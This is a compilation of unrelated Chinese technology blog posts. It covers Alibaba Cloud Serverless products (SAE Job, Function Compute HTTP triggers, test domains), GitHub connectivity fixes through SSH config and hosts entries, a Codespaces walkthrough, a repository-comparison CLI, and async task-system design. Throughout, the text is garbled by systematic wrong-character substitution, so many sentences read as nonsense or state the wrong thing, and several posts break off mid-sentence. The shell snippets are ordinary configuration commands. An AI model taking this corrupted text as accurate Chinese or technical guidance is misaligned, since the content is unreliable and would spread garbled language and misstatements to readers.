Job 作为一种运完即停的负载类型，在企业级开发中承载着丰盛的应用场景。SAE Job 将 Serverless 技术所带来的普惠红利从应用领域向外延展至工作畛域，通过联合 longrun + shortrun 的应用场景和最佳实际打造成为Serverless 一体化企业级开发运维平台，以满足不同行业的差异化诉求，为用户提供更加欠缺多元的能力反对和稳固牢靠的技术保障。 目前运行Job 的支流形式是采纳分布式工作框架，比方 Quartz、XXLJob 、ElasticJob 等。此类框架作为面世工夫较长的开源我的项目，应用企业泛滥，性能成熟。而在云原生时代，K8S Job 和 CronJob 也逐步被思考采纳。然而上述计划普遍存在以下痛点： 首先，资源利用率低。采纳开源的分布式框架须要程序常驻，在云主机中 7*24 小时免费。而K8S 计划也须要用户保护集群节点，造成老本节约。 其次，可观测性差。用户须要齐全自建一套日志采集、集群和业务监控指标采集、告警零碎来满足生产环境的须要。 最初，运维简单。无论是开源框架还是 K8S ，都须要关注底层资源的高可用、高并发下工作的容量和弹性，其运维操作具备较高的技术复杂度。 SAE Job 作为首款面向工作的 Serverless PaaS 平台，完满解决了以上痛点。SAE Job 重点解决了用户的效率和老本问题，在兼具传统工作应用体验和性能的同时按需应用，按量计费，做到低门槛工作上云，节俭闲置资源老本。同时，体验上采纳了事件驱动加无入侵任务调度和管控，用户零革新即可具备工作的全生命周期治理及可观测等开箱即用的性能。 SAE Job 反对多种调用形式，包含阿里云规范 API/SDK，可能通过可视化配置 Cron 表达式实现定时工作，通过HTTP/MQ/OSS 等多种触发器来拉起 SAE Job 。同时反对诸多工作外围个性，包含工作生命周期治理、执行记录、事件告诉、日志监控告警、超时重试、阻塞策略、工作分片、工作多并发等。 SAE Job 提供了三大外围价值： ① 齐备全托管：提供了一站式全托管的治理界面，其工作生命周期治理、可观测性开箱即用，用户能够低心智累赘、零老本地学习应用 SAE 。② 简略免运维：屏蔽了底层资源，用户只需关注其外围的业务逻辑开发，无需操心集群可用性、容量、性能等方面的问题。③ 超高性价比：采纳按需应用、按量付费的模式，只有工作执行业务逻辑时才会拉起免费，其余工夫不收取任何费用，极大节俭了资源的老本开销。上面演示一下 SAE Job 的整体应用流程： 竞霄demo 01.mp4 SAE Job 以工作为核心，提供传统的用户体验。以后聚焦反对单机播送、并行分片模型的工作，同时反对事件驱动、并发策略和超时重试等诸多个性，提供低成本、多规格、高弹性的资源实例来满足短时工作的执行。 相比开源的分布式框架，其长处在于全托管面运维的用户体验，开箱即用的齐备性能以及白屏化管控，工作运行完立刻开释资源，不会节约闲置资源老本。 ...

问题景象本文以Windows零碎为例进行阐明，在个人电脑上应用Git命令来操作GitHub上的我的项目，原本都很失常，忽然某一天开始，会提醒如下谬误ssh: connect to host github.com port 22: Connection refused。 $ git pullssh: connect to host github.com port 22: Connection refusedfatal: Could not read from remote repository.Please make sure you have the correct access rightsand the repository exists.排查思路ssh: connect to host github.com port 22: Connection refused这个谬误提醒的是连贯github.com的22端口被回绝了。 本来认为github.com挂了，然而浏览器拜访github.com一切正常。 网上搜寻这个报错，发现很多人遇到这个问题，大略有2个起因和对应解决方案： 应用GitHub的443端口22端口可能被防火墙屏蔽了，能够尝试连贯GitHub的443端口。 $ vim ~/.ssh/config```# Add section below to itHost github.com Hostname ssh.github.com Port 443```$ ssh -T git@github.comHi xxxxx! You've successfully authenticated, but GitHub does notprovide shell access.这个解决方案的思路是：给~/.ssh/config文件里增加如下内容，这样ssh连贯GitHub的时候就会应用443端口。 ...

GitHub Copilot could not connect to server. Extension activation failed: "connect ECONNREFUSED 127.0.0.1:443" Hosts 140.82.112.5 github.com140.82.112.5 api.github.com

欢送拜访我的GitHub这里分类和汇总了欣宸的全副原创(含配套源码)：https://github.com/zq2599/blog_demos一图胜千言先上图，上面是欣宸在本人的iPad Pro上用浏览器写代码的实拍，右下方可见SpringBoot利用启动胜利的日志您可能会感觉平板配置不高，所以写代码和运行都会卡顿，集体的理论体验是能够晦涩进行，因为编译和运行这些消耗资源的操作都是在微软的云服务器上进行的，服务器的配置是4核8G内存32G硬盘对了，服务器一分钱不要，也不限时...对于CodespacesGitHub的Codespaces，去年网上就有热议了，这是个托管在云中的开发环境，其原理如下，咱们在本人的电脑上，用vscode桌面版或者网页版写代码，这些操作都会同步到微软的Azure虚拟机中，编译和运行代码也在虚拟机进行 对于GitHub和微软的关系，应该是微软收买了GitHub吧...以下是集体在体验后对Codespaces的认知能够在浏览器上编辑您github仓库中的代码，网页成果做得和本地vscode高度类似微软为您筹备了专属服务器（4核CPU，8G内存，32G硬盘），网页编辑代码时，对应的编译、运行都在此服务器上运行基于以上特点，上面这些福利是实实在在可能感触到的：能够用平板电脑在浏览器上写代码、运行代码，下图是在华为的MatePad Pro平板上编写SpringBoot利用的样子，看日志曾经启动胜利了 下图实拍用平板的浏览器拜访SpringBoot利用的web服务，能够胜利，这就很实用了 您能够应用配置很低很落后的老旧电脑来做开发，因为消耗资源的操作都在专属服务器上，您本人的电脑只有能流畅运行浏览器即可本篇概览本文指标以根本体验为主，由以下内容组成介绍一些前提条件说说终于能用上Codespaces的前因后果创立Codespaces开发前的根本设置查看服务器根本信息在Codespaces上新建GitHub仓库分支正式开始编码，新建一个SpringBoot利用，并运行和验证Codespaces的代码提交到GitHub进行利用的操作如何再次关上Codespaces介绍几个小问题重要前提以下是能欢快进行本篇操作的重要前提您的网络能够拜访GitHub您有本人的GitHub账号您有本人的代码仓库欣宸是个一般的Java程序员，所以在开发体验中用的是Java相干技术栈，例如代码工程是SpringBoot的，如果您善于的是其余语言，请自行调整从悲观到惊喜欣宸去年就填写了在线申请表想申请应用Codespaces，奈何间断几个月每次查看的时候都让我急躁期待，终于把这事件给忘洁净了道歉，申请地址也忘了，不过来Codespaces的官网看下，应该能找到申请入口工夫就这样过来了，欣宸仍然是每天吃饭睡觉工作写博客的干燥生存，直到几天前收到上面这封邮件，说我能够应用Codespaces的beta版本了 创立codespace关上GitHub时，发现网页的右上角有点不一样了，如下图红框所示 如同是说我曾经参加到Codespaces的beta版本中了，哎呦，惊喜呢点击上图红框中的按钮，跳转到了这个地址：https://github.com/codespaces页面展现如下图，点击右上角的New codespace按钮去创立Codespaces 接下来的页面要求你从本人的GitHub仓库和分支中抉择一个，创立Codespaces，留神最初一个选项，是抉择你的专属服务器配置，目前只有4核8G一个配置可选 4核8G服务器值钱吗？参考阿里云社区给欣宸收费应用的ECS服务器价格，2核4G，一年4068RMB，微软这诚意真是没得说了 选好仓库，点击右下角的Create codespace，后盾就会开始为你创立专属服务器（官网文档中把这个称为容器） 期待大概两三分钟，就看到了vscode的页面，明明是个web网页，做得却和本地装置的vscode高度类似 留神上图右下角弹出的提醒窗口，问你是否装置Java插件包，请点击Install实现装置根本设置应用vscode时，装置java六合一插件以及springboot插件是基本操作如下图，java六合一插件包方才已装 而后是SpringBoot插件，如下图 装置实现，咱们进入开发阶段吧查看版本在TERMINAL窗口输出mvn -version查看以后的maven和java版本，如下图，这是个Linux服务器，java版本17.0.2，maven版本3.8.5 这样的java和maven版本配置来自GitHub为您创立服务器时的默认配置，大概率不是您心目中最适宜的版本，其实GitHub是反对批改服务器配置的，不过篇幅所限，这里请求您临时忍忍，将就着把HelloWorld勉强运行起来，前面会有专门的文章阐明如何批改默认配置，包含java和maven版本，也包含更多深刻的配置新建分支方才选定的代码仓库分支是dev，这个分支我还有别的用途，所以这里再新建一个分支用于开发，操作如下点击左侧底部的git分支图标，如下图红框地位 弹出的输出窗口中，我点击了Create new branch... 而后将当前目录下的内容全副删除洁净 一个洁净的编码环境曾经就绪，接下来看我大展身手：为您写一个HelloWorld利用！开发和运行SpringBoot利用新建SpringBoot工程 依据集体习惯，我抉择了maven工程 接下来就是惯例的创立SpringBoot工程的一系列问答式交互，输出GAV、抉择库（我选了lombok和spring web两个），留神JDK抉择17，这是因为以后在线环境的JDK是17，至于如何批改以后环境的JDK，下一篇文章会有具体阐明上述命令输出实现后，会弹出新的页面，进入新的workspace，如下图，相熟的maven操作页面 如果想切回之前的workspace，能够依照下图操作 关上利用入口类HelloworldApplication.java，减少几行代码用于验证，我这里是用RestController减少了一个web门路hello，如下图所示，编码实现后点击右上角的三角按钮启动利用 开始构建工程，期间会下载依赖库，所以要稍作期待，不过微软服务器的性能和网速都没让咱们悲观，大略两三分钟后利用启动胜利 当初利用在服务器上运行起来了，为了验证web服务是否可用，还要用到端口转发性能，也就是将服务器的某个端口映射到本地端口上，操作如下图红框 在呈现的提示框中输出8080再回车即可，此刻列表中会呈现新的端口转发配置，点击下图红框地位，就会在浏览器关上转发地址 此时，浏览器会提醒404，如下图，这是因为咱们还没有加上path导致的 在地址栏中，尾部追加/hello，再回车，如下图，刚刚编写的web接口失常返回数据了 当初能够欢快的在浏览器上写代码并晦涩的运行了，破电脑也不卡的愉悦感真是难以言表提交代码刚刚新增的分支还在微软服务器上，并没有提交的github，记得提交，操作如下图 关上github，发现新分支曾经提交，而且还创立了PR，你能够抉择是否合并到main分支 进行利用进行利用的操作很简略，在terminal面板输出Ctrl+C即可敞开浏览器，本地电脑上仿佛啥也没有，干干净净的感觉真好再次关上Codespaces从新关上Codespaces的操作如下图所示，四步实现 偶现问题在关上Codespaces时，偶然会遇到下图问题，刷新页面即可复原 能够创立多少个Codespaces对于这个问题，官网这么说的：起码能够配置 2 台外围计算机，最多能够配置 32 台官网没有提收费和付费的事件，作为收费用户，同时创立两个Codespaces是没有问题的实用吗？昨天欣宸在一个社区上传了IPad Pro上写代码那张照片，很快就有人来回复，说脱裤子放屁？ 对于这个观点，我感觉：您要是感觉平板上不好用，电脑也有浏览器吧，要是您再杠，说电脑浏览器上也不如桌面版的，那是不是微信小程序也没有必要存在了，毕竟有原生APP所以，是否实用应该是是因人而异的吧未完待续至此，Codespaces最根本的体验曾经实现，置信您和欣宸一样，对默认环境的配置会感到不满，敬请期待接下来的自在定制篇，欣宸原创，不会让您悲观~欢送关注segmentfault：程序员欣宸学习路上，你不孤独，欣宸原创一路相伴...

原文：https://www.keson.dev/tool/github-compare 咱们在做框架调研时，你可能会先通过 google 去搜寻相干关键词失去一些后果，其次是从 GitHub 查看相应的 Topic 来抉择适合的框架。置信大多数人在抉择框架时，不会随随便便就拿来用，而是查看一些该仓库的指标来决定是否抉择，或者对多框架进行比照。 前言咱们晓得，在社区目前曾经有了一些网页的比照工具，如：查看 star 趋势图的 star-history，而在终端上目前没有抉择到适宜工具进行 GitHub 仓库的数据查看，咱们通常在查看一个仓库时，通常会查看以下一些指标来总和掂量其稳固与否？ star 数量(stars)更新频率(releases)社区活跃度(contributors)issue 的解决周期(remain issues)仓库创立时长(age)组织(organization)咱们以抉择 Golang 微服务框架为例子，来比照一下以后社区比拟火的一些框架 go-zerokratosgo-microkit在没有工具前，咱们可能会每个仓库顺次从以上各指标去其仓库首页看一下相干数据，这会显得比拟繁琐，如果须要落地成为一些比照数据，则更须要本人手动去编写一个表格。 咱们来看一下 github-compare 的比照后果： 通过该图能够很清晰的看到 GitHub 仓库的各项指标，接下来咱们来看一下该工具的应用。 github-compare定位为一个 GitHub 仓库比照工具 仓库地址https://github.com/anqiansong... 装置$ go install github.com/anqiansong/github-compare示例$ github-compare zeromicro/go-zero go-kratos/kratos asim/go-micro go-kit/kit 用法筹备工作点击去 GitHub 创立集体 AccessToken设置 AccessToken 复制 AccessToken 并增加到环境变量或者你能够在执行 github-compare 指令时通过 --token 显式传入执行命令# 通过 --token 传入 AccessToken# github-compare zeromicro/go-zero go-kratos/kratos asim/go-micro go-kit/kit --token ${accessToken}# 或者增加到环境变量(举荐)$ export GITHUB_ACCESS_TOKEN=${GITHUB_ACCESS_TOKEN}$ github-compare zeromicro/go-zero go-kratos/kratos asim/go-micro go-kit/kit阐明GitHub AccessToken 是必填项。github-compare 承受 1 到 4 个仓库进行数据查问。如果你通过环境变量来设置 AccessToken, 环境变量的 key 必须为 GITHUB_ACCESS_TOKEN。最初如果该工具对你有用，能够给个 哦 ...

现在，Serverless 被越来越多的企业所承受，并利用于业务实际中。除了互联网企业最早“尝鲜”之外，传统企业也在摸索大规模应用 Serverless。越来越多人走过了对 Serverless 技术的高级认知阶段，走向了落地实际。 Serverless 势头渐起，面对行将到来的改革，开发者心愿疾速吸取 Serverless 常识，将其劣势利用在日常工作中。阿里云云原生 Serverless 团队全新推出“Serverless 技术进阶研读班”模式，特地邀请 Serverless 技术专家江昱作为领学人，采纳班级制带队 Serverless 技术感兴趣的开发者，独特研读 2022 版《Serverless 利用开发手册》，让咱们成为同学、敌人、技术精进路的战友，0 根底用 10 天开发 Serverless 企业级利用。 目前正在招生阶段，5月16日全新开讲，5月27日之前随时退出。 报名地址浏览下方链接（倡议 pc 端关上）https://developer.aliyun.com/... 研读班亮点文字浏览 + 自主作业，学习工夫本人做主班主任伴学 + 同学探讨，独特升级成长精讲技术点和阶段答疑，真直播真互动学习后颁发结业证书全程收费 同学收益沉迷式学习体验技术人共读交换真直播，真答疑开发者社区颁发结业证书、奖品专属学习材料 & 体验场景 研读班设置主题：0 根底 10 天开发 Serverless 企业级利用研读材料：2022 版《Serverless 开发速查书册》 研读形式浏览/听文字内容 ——实现作业—— 互动交换—— 结业证书 课程详情 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

解决步骤 查找并获取以下1) github地址 $ nslookup github.com 2) github.global.ssl.fastly.net地址 $ nslookup github.global.ssl.fastly.net 3) assets-cdn.github.com地址 $ nslookup assets-cdn.github.com 在/etc/hosts中增加如下内容 重新启动网卡服务sudo service network-manager restart

你想本人搭一个无敌好用的网盘吗？想接着看，还有奖品呢！……以后，网盘简直已成为现代人的标配，而市面上的网盘性能、费用各异，让用户们陷入了比照价格和性能的迷阵中。别比照了，入手吧！作为对存储、流量、资源……最理解的“内行人”，本人搭建一个高性能网盘，才是开发者最极客、最具性价比的抉择！ 随着云计算的高速倒退，Serverless 架构逐步以低成本，高效能被开发者认可。那么是否能够基于 Serverless 架构疾速搭建一个本人的网盘呢？这个网盘能够随便存资源、不限速下载、多端应用、与敌人共享资源…… ，答案是：当然能够！ 5 月 9 日 至 5 月 20 日，《1 分钟 Serverless 极速部署集体网盘》体验流动正式开启！这一次咱们基于 Serverless 利用核心 +阿里云函数计算+ 开源企业级在线文件管理系统 KodBox 打造场景，让你仅用”几次“点击，进入 Serverless 的世界，领有一个可随便保留资源、不限速下载、多端应用、与敌人共享资源……的集体网盘。 如何参加？倡议 PC 端体验： 流动链接：https://developer.aliyun.com/adc/series/activity/serverlessapp 一步获奖月 9 日 至 5 月 20 日工作日期间，实现 1 个挑战工作，即可支付超级好玩“百变指尖陀螺”：Step 1 部署集体网盘应用 Serverless 利用核心一步取得实在、可长期应用集体网盘 Step 2 支付礼物每个工作日10:00 送出 200个“百变指尖陀螺” 流动详情 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

作者| 阿里云Serverless技术专家 澈尔 以后阿里云函数计算反对两种类型的函数：事件函数和 HTTP 函数。其中 HTTP 函数联合 HTTP 触发器，可能反对用户间接通过 HTTP 申请利用 Restful API 的形式发动函数调用；通过这种形式，用户无需集成函数计算提供的 SDK 就能实现函数调用，更好地同已有零碎的组件及 WEB 服务进行集成。 思考到 HTTP 函数最后设计的目标，面向 Web 场景，HTTP 函数并未反对异步调用，随着用户应用 HTTP 函数的场景减少，HTTP 函数无奈反对异步调用的限度，对于用户更宽泛的应用 HTTP 函数带来了诸多的限度。 不反对异步调用，用户有多难？目前，曾经有很多客户咋应用函数计算 HTTP 触发器搭建 WEB 服务，其中很多人有通过 WEB 服务进行文件（视频、图片等）解决转码，投递工作，进行压测的需要。这些需要则往往具备长执行，流量不平均等个性。具备这些特色的函数在同步执行的场景下有以下毛病： 长执行函数减少函数谬误的危险，晋升机器开销。客户端须要放弃长链接，网络稳定、客户因为函数执行耗时较长失去急躁自主断开连接等，都减少了函数谬误产生的几率。 场景：视频网站用户上传视频转码，耗时长刷新页面导致连贯中断，转码失败。放弃长链接减少了客户端的机器开销，升高了客户端机器资源的利用率。 面对突增流量无奈平滑解决和接管。对于有并发限度的场景，客户的突增流量在同步调用的场景下会被限流，从而在客户不做错误处理的时候造成肯定申请失败。 场景1：脉冲式压测场景。场景2：限时线上促销流动。在这些场景下，客户能够通过异步调用将 HTTP 触发和函数执行进行解耦，晋升执行效率和执行成功率，升高开销。异步调用 at least once 的保障， 指标投递的能力，以及具备可观测性和可管控能力的异步工作模式能更好地让客户享受到函数托管服务的便当，解放客户双手。 HTTP 触发器不反对异步调用时，为了满足需要，客户往往须要通过函数转跳的形式间接实现 HTTP 触发异步调用。具体流程如下： 客户能够创立两个函数，函数 A 为 HTTP 函数，通过 HTTP 同步调用，函数 B 为事件函数，能够由 HTTP 函数通过 SDK 进行异步调用。然而该计划的毛病也很显著： 老本高：每次异步调用都须要两次触发。无奈实现流控全托管：第一层函数为同步调用，面对突增流量被流控，须要客户自行做自适应，从而无奈享受异步调用的流控全托管。减少客户开发保护老本：须要开发和保护两个函数来应用异步性能。 新性能：HTTP 触发器反对异步调用函数计算以后上线反对了 HTTP 触发器进行异步调用的性能。应用本性能，客户须要筹备好一个 HTTP 函数和一个 HTTP 触发器。 ...

作者 | 阿里云 Serverless 技术研发 落语 背景阿里云函数计算产品在较早的时候反对了HTTP触发器能力，反对用户应用 HTTP 协定进行函数调用。函数计算后端通过一个共享的 APIServer 组件对所有客户提供响应 HTTP 触发器调用的服务，须要依赖 URL 中的 Path 将客户流量路由到客户的函数容器外部。容器内收到的 HTTP 申请 Path 会带有函数计算的路由标识，如果客户在函数计算部署 REST 格调的利用，那么就会遇见 404 问题。 在一开始，函数计算并不是为客户运行中小型规模利用而设计的。函数计算提供了原生的 REST 架构，将每个函数视为一个独立的资源，通常一个函数只负责一小块性能，也就是一个 API。如果一个函数只对应一个 API，那么在函数代码中也不用去实现一套路由逻辑去响应不同 URL Path 门路的申请了。 函数计算在近两年引入了Custom Runtime/Custom Container Runtime类型的函数，客户能够间接在函数计算上运行本人存量的利用，而不用依照函数计算举荐的架构去拆分本人的利用。客户以及社区内比拟成熟的我的项目的开发习惯是采纳MVC等架构，在一个程序中开发大量的REST API，在过程内依照报文中的HTTP Path进行路由，将不同门路的申请“转发”至不同的办法或函数进行解决。 在这样的背景下，客户能够在函数计算运行存量的 REST 利用，但利用无奈失常对外提供服务。客户破费大量的精力对存量的利用进行革新，而且这个革新仅仅在函数计算是必须的，是一种典型的平台携裹用户的产品设计。 应用 fcapp.run调用函数为了解决上述的问题，并兼容存量的函数以及客户习惯，函数计算为每个新创建的 HTTP 触发器调配了一个独立的域名，例如{random-string}.cn-shanghai.fcapp.run。应用该域名拜访函数计算，函数计算会依照域名进行路由，将流量转发至函数容器内，防止对客户代码造成侵入性。 应用 fcapp-test.run 进行本地网页测试因为中国大陆政策的影响，函数计算主域名无奈在互联网为客户提供网站类型的业务，所有的函数申请后果将被转为下载行为。对于纯 API 类型的函数，咱们认为将申请后果转为下载是没有影响的。但对于网站属性的函数，返回的 HTML 文本以及 JavaScript 代码强依赖浏览器的解释器能力失常展现。咱们判断让开发者可能实时看到函数返回的页面是一个强诉求。 在生产场景，咱们举荐客户为函数绑定已备案的域名来解决这个问题，而在测试环境有更加简洁的计划。在测试阶段能够长期通过测试域名fcapp-test.run以及增加本地的host解析绕过这个问题，申请后果将不会被转为下载行为，能够失常进行网页调试。 # 1. 从页面获取fcapp.run的域名FC_DOMAIN='wordpress-xxxxx-serverlordpress-ydziwvakfn.cn-shenzhen.fcapp.run'FC_TEST_DOMAIN=`echo ${FC_DOMAIN} | sed 's/fcapp.run/fcapp-test.run/g'`echo "FC域名: ${FC_DOMAIN}"echo "FC测试域名: ${FC_TEST_DOMAIN}"# 2. 查问域名解析的IPFC_IP=`ping ${FC_DOMAIN} -c 1 | HEAD -1 | awk '{print $3}' | sed 's/[():]//g'`echo "FC IP: ${FC_IP}"# 3. 批改host文件，将测试域名的本地解析指向fcapp.run的解析# 如果没有权限须要手动加sudo -- sh -c "printf '\n${FC_IP} ${FC_TEST_DOMAIN}\n' >> /etc/hosts"cat /etc/hosts# 4. 应用测试域名在浏览器拜访函数curl -v "${FC_TEST_DOMAIN}"理解 TCP 协定以及HTTP协定的同学能够很容易地了解背地的技术细节。客户端在发动HTTP申请时，首先会通过域名解析查问到域名对应的IP地址，并发动TCP连贯。接下来会通过建设的TCP连贯，将HTTP Request报文发送至Server端。如果客户端间接向函数计算的Server发动TCP连贯，并将能够与函数关联的域名发送至函数计算，那么函数计算就能够返回客户冀望的内容。 ...

作者：不瞋 （阿里云 Serverless 技术负责人） 当咱们构建一个利用，总是心愿它是响应迅速，老本低廉的。而在理论中，咱们的零碎却面临各种各样的挑战，例如不可预测的流量顶峰，依赖的上游服务变得迟缓，大量申请却耗费大量 CPU/内存资源。这些因素经常导致整个零碎被拖慢，甚至不能响应申请。为了让应用服务总是响应迅速，很多时候不得不预留更多的计算资源，但大部分时候，这些计算资源都是闲置的。一种更好的做法是将耗时迟缓，或者须要耗费大量资源的解决逻辑从申请解决主逻辑中剥离进去，交给更具资源弹性的零碎异步执行，岂但让申请可能被迅速解决返回给用户，也节俭了老本。 一般来说，长耗时，耗费大量资源，或者容易出错的逻辑，非常适合从申请主流程中剥离进去，异步执行。例如新用户注册，注册胜利后，零碎通常会发送一封欢送邮件。发送欢送邮件的动作就能够从注册流程中剥离进去。另一个例子是用户上传图片，图片上传后通常须要生成不同大小的缩略图。但图片解决的过程不用蕴含在图片上传解决流程中，用户上传图片胜利后就能够完结流程，生成缩略图等解决逻辑能够作为异步工作执行。这样应用服务器防止被图片解决等计算密集型工作压垮，用户也能更快的失去响应。常见的异步执行工作包含： 发送电子邮件/即时消息查看垃圾邮件文档解决（转换格局，导出，……）音视频，图片解决（生成缩略图，加水印，鉴黄，转码，……）调用内部的三方服务重建搜寻索引导入/导出大量数据网页爬虫数据荡涤……Slack，Pinterest，Facebook 等公司都宽泛的应用异步工作，实现更好的服务可用性，更低的老本。依据Dropbox 统计，他们的业务场景中一共有超过100种不同类型的异步工作。一个性能齐备的异步工作解决零碎能带来显著的收益： 更快的零碎响应工夫。将长耗时的，重资源耗费的逻辑从申请解决流程中剥离，在别的中央异步执行，能无效的升高申请响应延时，带来更好的用户体验。更好的解决大量突发性申请。在电商等很多场景下，经常有大量突发性申请对系统造成冲击。同样的，如果将重资源耗费逻辑从申请解决流程中剥离，在别的中央异步执行，那么雷同资源容量的零碎能响应更大峰值的申请流量。更低的老本。异步工作的执行时长通常在数百毫秒到数小时之间，依据不同的工作类型，正当的抉择工作执行工夫和更弹性的应用资源，就能实现更低的老本。更欠缺的重试策略和错误处理能力。工作保障被牢靠的执行（at-least-once），并且依照配置的重试策略进行重试，从而实现更好的容错能力。例如调用第三方的上游服务，如果能变成异步工作，设置正当的重试策略，即便上游服务偶然不稳固，也不影响工作的成功率。更快的实现工作解决。多个工作的执行是高度并行化的。通过伸缩异步工作解决零碎的资源，海量的工作可能在正当的老本内更快的实现。更好的工作优先级治理和流控。工作依据类型，通常依照不同的优先级解决。异步工作管理系统能帮忙用户更好的隔离不同优先级的工作，既让高优先级工作能更快的被解决，又让低优先级工作不至于被饿死。更多样化的工作触发形式。工作的触发形式是多种多样的，例如通过 API 间接提交工作，或是通过事件触发，或是定时执行等等。更好的可观测性。异步工作解决零碎通常会提供工作日志，指标，状态查问，链路追踪等能力，让异步工作更好的被观测、更容易诊断问题。更高的研发效率。用户专一于工作解决逻辑的实现，任务调度，资源扩缩容，高可用，流控，工作优先级等性能都由工作解决零碎实现，研发效率大幅提高。 工作解决零碎架构工作解决零碎通常包含三局部：工作 API 和可观测，工作散发和工作执行。咱们首先介绍这三个子系统的性能，而后再探讨整个零碎面临的技术挑战和解决方案。 工作 API/Dashboard该子系统提供一组工作相干的 API，包含工作创立、查问、删除等等。用户通过 GUI，命令行工具，后者间接调用 API 的形式应用零碎性能。以 Dashboard 等形式出现的可观测能力也十分重要。好的工作解决零碎该当包含以下可观测能力： 日志：可能收集和展现工作日志，用户可能疾速查问指定工作的日志。指标：零碎须要提供排队工作数等要害指标，帮忙用户疾速判断工作的执行状况。链路追踪：工作从提交到执行过程中，各个环节的耗时。比方在队列中排队的工夫，理论执行的工夫等等。下图展现了 Netflix Cosmos 平台的 tracing 能力。 工作散发工作散发负责工作的调度散发。一个能利用于生产环境的工作散发零碎通常要具备以下性能： 工作的牢靠散发：工作一旦提交胜利后，无论遇到任何状况，零碎都该当保障该工作被调度执行。工作的定时/延时散发：很多类型的工作，心愿在指定的工夫执行，例如定时发送邮件/音讯，或者定时生成数据报表。另一种状况是工作能够延时较长一段时间执行也没问题，例如上班前提交的数据分析工作在第二天下班前实现即可，这类工作能够放到凌晨资源耗费低峰的时候执行，通过错峰执行降低成本。工作去重：咱们总是不心愿工作被反复执行。除了造成资源节约，工作反复执行可能造成更重大的结果。比方一个计量工作因为反复执行算错了账单。要做到工作只执行一次（exactly-once），须要在工作提交，散发，执行全链路上的每个环节都做到，包含用户在实现工作解决代码时也要在执行胜利，执行失败等各种状况下，做到 exactly-once。如何实现残缺的 exactly-once 比较复杂，超出了本文的探讨范畴。很多时候，零碎提供一个简化的语义也很有价值，即工作只胜利执行一次。工作去重须要用户在提交工作时指定工作 ID，零碎通过 ID来判断该工作是否曾经被提交和胜利执行过。工作谬误重试：正当的工作重试策略对高效、牢靠的实现工作十分要害。工作的重试要思考几个因素：1）要匹配上游工作执行零碎的解决能力。比方收到上游工作执行零碎的流控谬误，或者感知到工作执行成为瓶颈，须要指数退却重试。不能因为重试反而加大了上游零碎的压力，压垮上游；2）重试的策略要简略清晰，易于用户了解和配置。首先要对谬误进行分类，辨别不可重试谬误，可重试谬误，流控谬误。不可重试谬误是指确定性失败的谬误，重试没有意义，比方参数谬误，权限问题等等。可重试谬误是指导致工作失败的因素具备必然性，通过重试工作最终会胜利，比方网络超时等零碎外部谬误。流控谬误是一种比拟非凡的可重试谬误，通常意味着上游曾经满负荷，重试须要采纳退却模式，管制发送给上游的申请量。工作的负载平衡：工作的执行工夫变化很大，短的几百毫秒，长的数十小时。简略的 round-robin 形式散发工作，会导致执行节点负载不均。实际中常见的模式是将工作搁置到队列中，执行节点依据本身工作执行状况被动拉取工作。应用队列保留工作，让依据节点的负载把工作散发到适合的节点上，让节点的负载平衡。工作负载平衡通常须要散发零碎和执行子系统配合实现。工作按优先级散发：工作解决零碎通常对接很多的业务场景，他们的工作类型和优先级各不相同。位于业务外围体验相干的工作执行优先级要高于边缘工作。即便同样是音讯告诉，淘宝上买家收到一个商品评论告诉的重要性必定低于新冠疫情中的核酸检测告诉。但另一方面，零碎也要放弃肯定水平的偏心，不要让高优先级工作总是抢占资源，而饿死低优先级工作。工作流控：工作流控典型的应用场景是削峰填谷，比方用户一次性提交数十万的工作，冀望在几个小时内缓缓解决。因而零碎须要限度工作的散发速率，匹配上游工作执行的能力。工作流控也是保障系统可靠性的重要伎俩，某类工作提交量忽然爆发式增长，零碎要通过流控限度其对系统的冲击，减小对其余工作的影响。批量暂停和删除工作：在理论生产环境，提供工作批量暂停和删除十分重要。用户总是会呈现各种情况，比方工作的执行呈现了某些问题，最好能暂停后续工作的执行，人工查看没有问题后，再复原执行；或者长期暂停低优先级工作，开释计算资源用于执行更高优先级的工作。另一种状况是提交的工作有问题，执行没有意义。因而零碎要能让用户十分不便的删除正在执行和排队中的工作。工作的暂停和删除须要散发和执行子系统配合实现。工作散发的架构可分为拉模式和推模式。拉模式通过工作队列散发工作。执行工作的实例被动从工作队列中拉取工作，处理完毕后再拉取新工作。绝对于拉模式，推模式减少了一个分配器的角色。分配器从工作队列中读取工作，进行调度，推送给适合的工作执行实例。 拉模式的架构清晰，基于 Redis 等风行软件能够疾速搭建工作散发零碎，在简略工作场景下体现良好。但如果要反对工作去重，工作优先级，批量暂停或删除，弹性的资源扩缩容等简单业务场景须要的性能，拉模式的实现复杂度会迅速减少。实际中，拉模式面临以下一些次要的挑战： 资源主动伸缩和负载平衡简单。工作执行实例和工作队列建设连贯，拉取工作。当工作执行实例规模较大时，对工作队列的连贯资源会造成很大的压力。因而须要一层映射和调配，工作实例只和对应的工作队列连贯。下图是 Slack 公司的异步工作解决零碎架构。Worker 节点只和局部 Redis 实例相连。这解决了 worker 节点大规模扩大的能力，然而减少了调度和负载平衡的复杂度。从反对工作优先级，隔离和流控等需要的角度思考，最好能应用不同的队列。但队列过多，又减少了治理和连贯资源耗费，如何均衡很有挑战。工作去重，工作批量暂停或者删除等性能依赖音讯队列性能，但很少有音讯类产品能满足所有需要，经常须要自行开发。例如从可扩展性的角度，通常做不到每一类工作都对应独自的工作队列。当工作队列中蕴含多种类型的工作时，要批量暂停或者删除其中某一类的工作，是比较复杂的。工作队列的工作类型和工作解决逻辑耦合。如果工作队列中蕴含多种类型的工作，要求工作解决逻辑也要实现相应的解决逻辑，对用户不敌对。在实践中，A 用户的工作解决逻辑不会预期接管到别的用户工作，因而工作队列通常由用户自行治理，进一步减少了用户的累赘。推模式的核心思想是将工作队列和工作执行实例解耦，平台侧和用户的边界更加清晰。用户只须要专一于工作解决逻辑的实现，而工作队列，工作执行节点资源池的治理都由平台负责。推模式的解耦也让工作执行节点的扩容不再受工作队列的连贯资源等方面的限度，可能实现更高的弹性。但推模式也引入了很多的复杂度，工作的优先级治理，负载平衡，调度散发，流控等都由分配器负责，分配器须要和上下游零碎联动。总的来说，当工作场景变得复杂后，无论拉还是推模式，零碎复杂度都不低。但推模式让平台和用户的边界更清晰，简化了用户的应用复杂度，因而有较强技术实力的团队，实现平台级的工作解决零碎时，通常会抉择推模式。 工作执行工作执行子系统治理一批执行工作的 worker 